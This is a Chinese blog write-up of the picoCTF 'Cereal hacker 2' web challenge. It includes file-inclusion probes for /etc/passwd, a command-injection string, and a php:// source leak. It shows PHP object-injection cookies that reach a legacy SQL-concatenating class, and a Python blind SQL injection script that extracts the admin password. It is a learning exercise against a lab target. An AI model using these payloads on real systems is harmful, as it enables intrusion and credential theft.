iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 29
0
Security

點錯遊戲的我也只好硬著頭皮上了 系列 第 29

[網頁漏洞] - 資料庫漏洞 - 老調重彈

  • 分享至 

  • xImage
  •  

應該是延續 php 的漏洞問題...


18. Cereal hacker2 Points: 500

Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195
連線進入 https://2019shell1.picoctf.com/problem/62195/http://2019shell1.picoctf.com:62195,並試著取得 admin 使用者的密碼。
https://ithelp.ithome.com.tw/upload/images/20210127/20103688MEHvLSWanD.png

HINT:

無...

WRITEUP:

cereal hacker 1 稍有不同的是,題目只要求取得 addmin 的密碼?
不確定是不是還屬於 php objection injection 的範疇...輸入上一題嘗試失敗的login; cat /etc/passwd 的話,結果略有不同
https://ithelp.ithome.com.tw/upload/images/20210127/20103688ewjbXhNYmZ.png
會是可以用利的點嗎? 待解上一題,努力中...


先來試看看能不能讀取使用者的密碼檔案。
參考 Local File Inclusion 的幾個常用的檔案名稱,其中幾個感覺上中了,但輸出結果都是空白一片

  • /etc/passwd
  • /etc/passwod

接著再試 Remote File Inclusion ,結果一樣失敗。


改個方向,依照 Empire3 的模式,看是否能夠注入 PHP 特有的標籤語法 。
先找到線上 PHP 語法練習 ,模擬一下網址的輸出.。
p.s. 之後的語法也都會在此網站中模擬結果是否正確.

<?php

$_GET= 'abc' ?> <?php echo '...';
echo ("Unable to locate ".$_GET.".php\n");

$target = "content";
$_GET= 'abc' ?> <?php echo $target.'...';
echo ("Unable to locate ".$_GET.".php");
?>

回到題目,將字串加在網址的最後面

file=index <?php echo "abc" ;>

https://ithelp.ithome.com.tw/upload/images/20210127/201036888e86lWNosZ.png

失敗,多試幾次組合後,發現會省略掉 <> 裡面所有的值,那只有單一個呢 <

file=index <?php echo "abc" ;

https://ithelp.ithome.com.tw/upload/images/20210127/20103688HIhZAVS3b8.png
後面的變數都不見了!! 所以不是濾掉,試者其他 tag

file=index abc

https://ithelp.ithome.com.tw/upload/images/20210127/20103688Fzdr7PgOxL.png
居然可以在結果網頁嵌入 HTML 的 tag 啊!玩的很開心,但還是跟解答沾不到邊......


再轉換另一個方向,看看 cookie 方面能不能得到其他提示。
使用上題的 guest 登入,結果會顯示錯誤。因此使用上一題相同的注入手法,直接注入 以下user_info 到 cookie 中:

O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
COOKIE: user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTI6IjEnIE9SICcxJz0nMSI7fQ

則會跳出 regular_user 頁面
https://ithelp.ithome.com.tw/upload/images/20210127/20103688BsfaWZPWor.png
看起來 cookie 的 user_info 仍是可以使用,但是試了注入不同的 payload 都失敗...
決定放棄,點出上一題沒點到的 walkthough 來看看

WALKTHROUGH:

Abuse the legacy object to bypass the prepared statement. Use a script to perform a blind SQL injection.

以字面上來看,需要使用相同的 object injection 手法來繞過 SQL 語法,另一個重點則是 Blind SQL Injection 。好吧,再從注入 cookie 中繼續努力...
Blind SQL Injection 在 Empire 1 的題目已經用來猜過資料庫的類別,因此這裡先回到 上一題 Cereal hakcer 1 來測看看是否能成功(成功的話可傳回 FLAG)。

先參考 SQL Injection 網站,找出可注入的 payload。

1' OR 'a'='a' --'

再利用 sleep 來判斷是哪個資料庫:

1' OR 1=1 | sleep(10) --'

完整注入的 Cookie:

O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:25:"1' OR 1=1 | sleep(10) --'";}
user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MjU6IjEnIE9SIDE9MSB8IHNsZWVwKDEwKSAtLSciO30

以上傳回網頁時會停個 10 秒,表示注入成功且資料庫為 MySQL。
再 doblue check 一次

1' OR connection_id()=connection_id() --'

O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"1' OR connection_id()=connection_id() --'";}

結果能夠成功傳回 FLAG,的確是 MySQL 無誤。

獲得以上的注入樣本,再回到本題中進入測試,結果...居然沒有成功!


這次連看花費的提示仍然失敗,只好直接偷喵一下解答
原來又是一個特殊語法下的漏洞,可以利用 php:// 協議來偷窺到網址程式碼。
https://ithelp.ithome.com.tw/upload/images/20210127/20103688Blznuiolp4.png

回傳的結果為 base 64 解碼,丟回 base 64 解碼網站 即可得到原始碼。

以下為網頁回傳結果,再經 base64解碼後的程式碼,這裡只列出重點的 cookie.php:
p.s. 從 require_onece 中可以獲得更多存在的檔案如 sql_connect.php, cookie.php

coookie.php

<?php

require_once('../sql_connect.php');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
    public $username;
    public $password;
    
    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
        
        if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
            die("SQL error");
        }

        $prepared->bind_param('ss', $this->username, $this->password);
    
        if (!$prepared->execute()) {
            die("SQL error");
        }
        
        if (!($result = $prepared->get_result())) {
            die("SQL error");
        }

        $r = $result->fetch_all();
        if($result->num_rows !== 1){
            $is_admin_val = 0;
        }
        else{
            $is_admin_val = (int)$r[0][0];
        }
        
        $sql_conn->close();
        return $is_admin_val;
    }
}

/* legacy login */
class siteuser
{
    public $username;
    public $password;
    
    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
        
        $result = $sql_conn->query($q);
        if($result->num_rows != 1){
            $is_user_val = 0;
        }
        else{
            $is_user_val = 1;
        }
        
        $sql_conn->close();
        return $is_user_val;
    }
}


if(isset($_COOKIE['user_info'])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
    }
    catch(Exception $except){
        die('Deserialization error.');
    }
}

?>

本次的重點在 cookie .php 這隻程式,試著在 regular_user.php 網頁中注入舊的方法:

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:12:"1' OR '1'='1";}

失敗...

p.s. 這裡犯了一個錯誤,應該要在 admin.php 測,而不是 regular_user


再仔細研究 cookie.php 可以看到此 PHP 再SQL 查詢時的語法特徵,

$sql_conn->prepare

於是 google “php prepare bypass “ 找到可能的statement 繞過手法 ,結果失敗。這裡的寫法很標準,看起來並沒有誤用的寫法


再研究一下 regulaer_user.php ,

<?php
require_once('cookie.php');

if(isset($perm)){
?>
    
<body>
    <div class="container">
        <div class="row">
            <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                <div class="card card-signin my-5">
                    <div class="card-body">
                        <h5 class="card-title text-center">Welcome to the regular user page!</h5>
                        <form action="index.php" method="get">
                            <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>

</body>


<?php
}
else{
?>
    
<body>
    <div class="container">
        <div class="row">
            <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                <div class="card card-signin my-5">
                    <div class="card-body">
                        <h5 class="card-title text-center">You are not logged in!</h5>
                        <form action="index.php" method="get">
                            <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>

</body>


<?php
}
?>

才發現想利用regular 這個網頁注入 SQL 是徒勞無功的,因為這隻程式根本不會執行 SQL,因為與 admin.php 相比,少執行了 $perm->is_admin() 這個語法,因此只要 cookie 存在,就會跳出頁面,營造出有登入的假相!
admin.php

<?php

require_once('cookie.php');

if(isset($perm) && $perm->is_admin()){
?>
    
    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">Welcome to the admin page!</h5>
                            <h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </body>

<?php
}
else{
?>
    
    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">You are not admin!</h5>
                            <form action="index.php" method="get">
                                <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </body>

<?php
}
?>

因此必須回到 admin.php 試密碼。
admin.php 重點仍然放在 cookie.php,仔細研究整個 code ,發現後半段還留有舊的登入功能,名稱改名為 siteuser 。

註: 細看 siteuser 這裡的語法後,可以更了解為何 Cereal hacker1 的注入語法可以利用。自作聰明補上 ) 後反而不行的理由,請參考以下說明。

# wrong payload: pass') OR ('1'='1
$payload_1 = 'pass\') OR (\'1\'=\'1';
$password = $payload_1;
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$username.'\' AND (password = \''.$password.'\');';
echo ($q."\n");
# correct payload
$payload_2 = "pass' OR '1'='1" ;
$password = $payload_2;
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$username.'\' AND (password = \''.$password.'\');';
echo ($q."\n");

https://ithelp.ithome.com.tw/upload/images/20210127/20103688I7G7wlZGyk.png
參考:and 和 or 的順序

有了新的方向,接下來使用 objection injection 並以舊 class 的名稱進行注入:

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:17:"pass' OR '1'='1";}

https://ithelp.ithome.com.tw/upload/images/20210127/20103688sKFhmgXLbM.png
終於成功了! 網頁提示要找出密碼,這個資訊雖然還原後的 admin.php 也有,但說明了兩件事,一是本題不能直接 pass 帳密,二是此方式注入成功,可用來檢驗後續的猜密碼階段。


為了保險起見,先以 blind SQL injection 來確認一下這次使用的資料庫也是 mysql

1' OR 1=1 | sleep(10) --

結果成功讓伺服器停了 10 秒才傳回結果。

終於來到猜密碼的階段,首先找一個能線上測試 SQL 的網址。然後開始參考語法 對 password 欄位進行猜測。
https://ithelp.ithome.com.tw/upload/images/20210127/20103688kzpGycDd6N.png

語法測試正確後,將目標轉為本題中的 password:

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:40:"pass'  OR SUBSTRING(username, 1, 1) = 'p";}

猜完第一個字母後為 p 後,原本想要手動猜密碼,不過在使用以下 payload 評估密碼長度後,

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:42:"pass'  OR LENGTH(password) > 40 AND '1'='1";}

居然大於 40個字....只好認命寫程式了...

以下的程式碼看起來雖長,但皆從網路上參考範例撰寫而成。先將每個功能寫成函式後再進行猜測,應該很容易理解才是。
python 簡單易用,而且可在 google colab 上線上執行,推薦新手使用!

import base64 
import http.cookiejar, urllib.request   
import requests


# 使用 base64 編碼 cookie 
# ref:https://riptutorial.com/zh-TW/python/example/27070/%E7%B7%A8%E7%A2%BC%E5%92%8C%E8%A7%A3%E7%A2%BCbase64
def encode_string(payload):
  payload_bytes = payload.encode("UTF-8")
  payload_bytes_base64 = base64.b64encode(payload_bytes)
  payload_base64_message = payload_bytes_base64.decode('UTF-8')
  return payload_base64_message
# 字元如果要判斷大小寫,注意要加上 BINARY
# ref:https://stackoverflow.com/questions/5629111/how-can-i-make-sql-case-sensitive-string-comparison-on-mysql
#payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:40:"pass\'  OR SUBSTRING(password, 1, 1) = \'p";}'
payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:47:"pass\'  OR BINARY SUBSTRING(password, 1, 1) = \'p";}'
print (payload)
cookie_base64 = encode_string(payload)
print(cookie_base64)

# 送出請求,設定 cookie
# ref:https://blog.m157q.tw/posts/2018/01/06/use-cookie-with-urllib-in-python/
def get_web_response(cookie):
  url = 'http://2019shell1.picoctf.com:62195/index.php?file=admin'  
  cookies = dict(user_info=cookie)  
  r = requests.get(url, cookies=cookies)  
  return(r.text)
response = get_web_response(cookie_base64)
print(response)

# 判斷回應是否正確
# ref:https://stackoverflow.com/questions/3437059/does-python-have-a-string-contains-substring-method
def is_flag_match(response):
  match = False
  if "Flag" not in response: 
    match = False
  else:
    match = True
  return match
is_match = is_flag_match(response)
print (is_match)

# 先猜密碼長度
# ref: https://snakify.org/en/lessons/for_loop_range/
def guess_password_length(star,end):
  for i in range(star, end+1):
    payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:42:"pass\'  OR LENGTH(password) = '+str(i)+' AND \'1\'=\'1";}'
    cookie_base64 = encode_string(payload)
    response = get_web_response(cookie_base64)
    is_match = is_flag_match(response)
    if is_match:
      print ("length: "+str(i))

# 呼叫 guess_password_length 後可得知長度為 41
#guess_password_length(20,50)
# >> length:  41

# 再對 password 每一個位置猜字元
# ref:https://realpython.com/python-enumerate/
def guess_password(star,end,guess_dict):
  print ('guess password...')
  for i in range(star, end+1):
    #print ("position ",str(i),":")
    for s in guess_dict:
      payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:'+str(46+len(str(i)))+':"pass\'  OR BINARY SUBSTRING(password, '+str(i)+', 1) = \''+s+'";}'      
      cookie_base64 = encode_string(payload)
      response = get_web_response(cookie_base64)     
      is_match = is_flag_match(response)
      if is_match:
        #print (s)
        print (s,end='')
        break

guess_dict = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMOPQRSTUVWXYZ0123456789-_{}"
guess_password(1,41,guess_dict)

最後得出密碼即為 FLAG
p.s. 這裡要注意一下大小寫判斷的部份,如果沒有在 substring 前加上 BINARY 是會將字母都視為小寫的!!
https://ithelp.ithome.com.tw/upload/images/20210127/20103688yxcGByfto1.png

ANSWER:

picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}


上一篇
[網頁漏洞] 資料庫漏洞 - 綿花糖花式吃法
下一篇
完賽心得 & Web Exploit 通關心得
系列文
點錯遊戲的我也只好硬著頭皮上了 30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言